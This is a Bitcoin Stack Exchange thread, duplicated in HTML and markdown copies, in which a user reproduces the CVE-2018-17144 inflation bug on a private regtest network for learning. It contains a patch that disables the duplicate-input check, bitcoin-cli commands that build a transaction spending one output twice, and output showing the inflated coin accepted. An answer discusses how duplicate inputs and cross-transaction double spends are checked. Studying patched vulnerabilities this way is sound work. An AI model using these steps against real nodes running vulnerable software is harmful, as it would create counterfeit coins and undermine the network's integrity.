<p>No, that's incorrect, there is two types of double spend:</p>

<ol>
<li>single transaction spending the same utxo</li>
<li>multiple transaction spending the same utxo</li>
</ol>

<p>CheckTransaction() which is called by CheckBlock() only validate the first case, not the second, the second is done by both Consensus::CheckTxInputs and CheckInputs(),</p>

<p>if you look at the code in CheckTransaction, it only check whether there are duplicated vins exists in the same transaction, it doesn't know whether the vins has been spent in another transaction.</p>

CC BY-SA 4.0
2019-04-17T06:54:03.730Z
2019-04-17T06:54:03.730Z
LIU YUE
<p>I'm reviewing CVE-2018-17144 inflation vulnerability for learning. I think I reproduced the error on regtest. Is it a correct way to reproduce it? I want to know if I'm missing something about it.</p>

<p>Steps to reproduce:</p>

<p>I have 2 regtest nodes; bitcoindA, bitcoindB. The both version are v0.16.2 and connected each other.</p>

<p>bitcoindA is running as mining node with the following patch to accept invalid transaction.</p>

<pre><code>$ git diff
+++ b/src/consensus/tx_verify.cpp
@@ -181,6 +181,7 @@ bool CheckTransaction(const CTransaction&amp; tx, CValidationState &amp;state, bool fChe
     }

     // Check for duplicate inputs - note that this check is slow so we skip it in CheckBlock
+    fCheckDuplicateInputs = false;
     if (fCheckDuplicateInputs) {
         std::set&lt;COutPoint&gt; vInOutPoints;
</code></pre>

<p>[1] generate 2 addresses on bitcoindB. (for receive the invalid utxo)</p>

<pre><code>2NBeTpfn57VpE4e167tFuEtc761jYX7t893,
2N2bb6idv8qsPULP2rqGYoC5yirvVos6YEU
</code></pre>

<p>[2] mining 101 blocks on bitcoindA</p>

<pre><code>$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest generate 101
</code></pre>

<p>[3] check the spendable txid from the mined block and a create transaction with the txid. duplicated utxo are set like the following.</p>

<pre><code>$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest createrawtransaction '[{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0},{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0}]' '{"2NBeTpfn57VpE4e167tFuEtc761jYX7t893":99.99}'
</code></pre>

<p>[4] sign, broadcast and mining on bitcoinA. And then check utxo on bitcoinB.</p>

<pre><code>$ ./bitcoinB/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16592 -regtest listunspent

[
  {
    "txid": "c885a3f8c0275424401d2793e69aa6bca81f7badbfc1755e18033e8801b74703",
    "vout": 0,
    "address": "2NBeTpfn57VpE4e167tFuEtc761jYX7t893",
    "account": "",
    "redeemScript": "00141c8746e62e30554790f9bd74eeea89f45bdd5e13",
    "scriptPubKey": "a914c9d76124901125aaf2a9b37d8e2d1103a9e5508387",
    "amount": 99.99000000,
    "confirmations": 1,
    "spendable": true,
    "solvable": true,
    "safe": true
  }
]
</code></pre>

<p>[5] check if the above utxo is possible to send to the generated address (2N2bb6idv8qsPULP2rqGYoC5yirvVos6YEU)</p>

CC BY-SA 4.0
2019-01-27T17:39:15.860Z
That is correct.
Ava Chow
<doublespend>
reproduce CVE-2018-17144 (inflation bug) on regtest for learning
zono
# reproduce CVE-2018-17144 (inflation bug) on regtest for learning

(Asked by: username_0 on 2019-01-27)

I'm reviewing CVE-2018-17144 inflation vulnerability for learning. I think I reproduced the error on regtest. Is it a correct way to reproduce it? I want to know if I'm missing something about it.

Steps to reproduce:

I have 2 regtest nodes; bitcoindA, bitcoindB. The both version are v0.16.2 and connected each other.

bitcoindA is running as mining node with the following patch to accept invalid transaction.

```
$ git diff
+++ b/src/consensus/tx_verify.cpp
@@ -181,6 +181,7 @@ bool CheckTransaction(const CTransaction& tx, CValidationState &state, bool fChe
     }

     // Check for duplicate inputs - note that this check is slow so we skip it in CheckBlock
+    fCheckDuplicateInputs = false;
     if (fCheckDuplicateInputs) {
         std::set<COutPoint> vInOutPoints;

```

[1] generate 2 addresses on bitcoindB. (for receive the invalid utxo)

```
2NBeTpfn57VpE4e167tFuEtc761jYX7t893,
2N2bb6idv8qsPULP2rqGYoC5yirvVos6YEU

```

[2] mining 101 blocks on bitcoindA

```
$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest generate 101

```

[3] check the spendable txid from the mined block and a create transaction with the txid. duplicated utxo are set like the following.

```
$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest createrawtransaction '[{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0},{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0}]' '{"2NBeTpfn57VpE4e167tFuEtc761jYX7t893":99.99}'

```

[4] sign, broadcast and mining on bitcoinA. And then check utxo on bitcoinB.

```
$ ./bitcoinB/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16592 -regtest listunspent

[
  {
    "txid": "c885a3f8c0275424401d2793e69aa6bca81f7badbfc1755e18033e8801b74703",
    "vout": 0,
    "address": "2NBeTpfn57VpE4e167tFuEtc761jYX7t893",
    "account": "",
    "redeemScript": "00141c8746e62e30554790f9bd74eeea89f45bdd5e13",
    "scriptPubKey": "a914c9d76124901125aaf2a9b37d8e2d1103a9e5508387",
    "amount": 99.99000000,
    "confirmations": 1,
    "spendable": true,
    "solvable": true,
    "safe": true
  }
]

```

[5] check if the above utxo is possible to send to the generated address (2N2bb6idv8qsPULP2rqGYoC5yirvVos6YEU)

**Tags:** doublespend

> **Comments:**
> **username_1**: That is correct.  

---

## 1 answers

### Answer by username_2 on 2019-04-17. Score: 2

No, that's incorrect, there is two types of double spend:

1. single transaction spending the same utxo
2. multiple transaction spending the same utxo

CheckTransaction() which is called by CheckBlock() only validate the first case, not the second, the second is done by both Consensus::CheckTxInputs and CheckInputs(),

if you look at the code in CheckTransaction, it only check whether there are duplicated vins exists in the same transaction, it doesn't know whether the vins has been spent in another transaction.


---

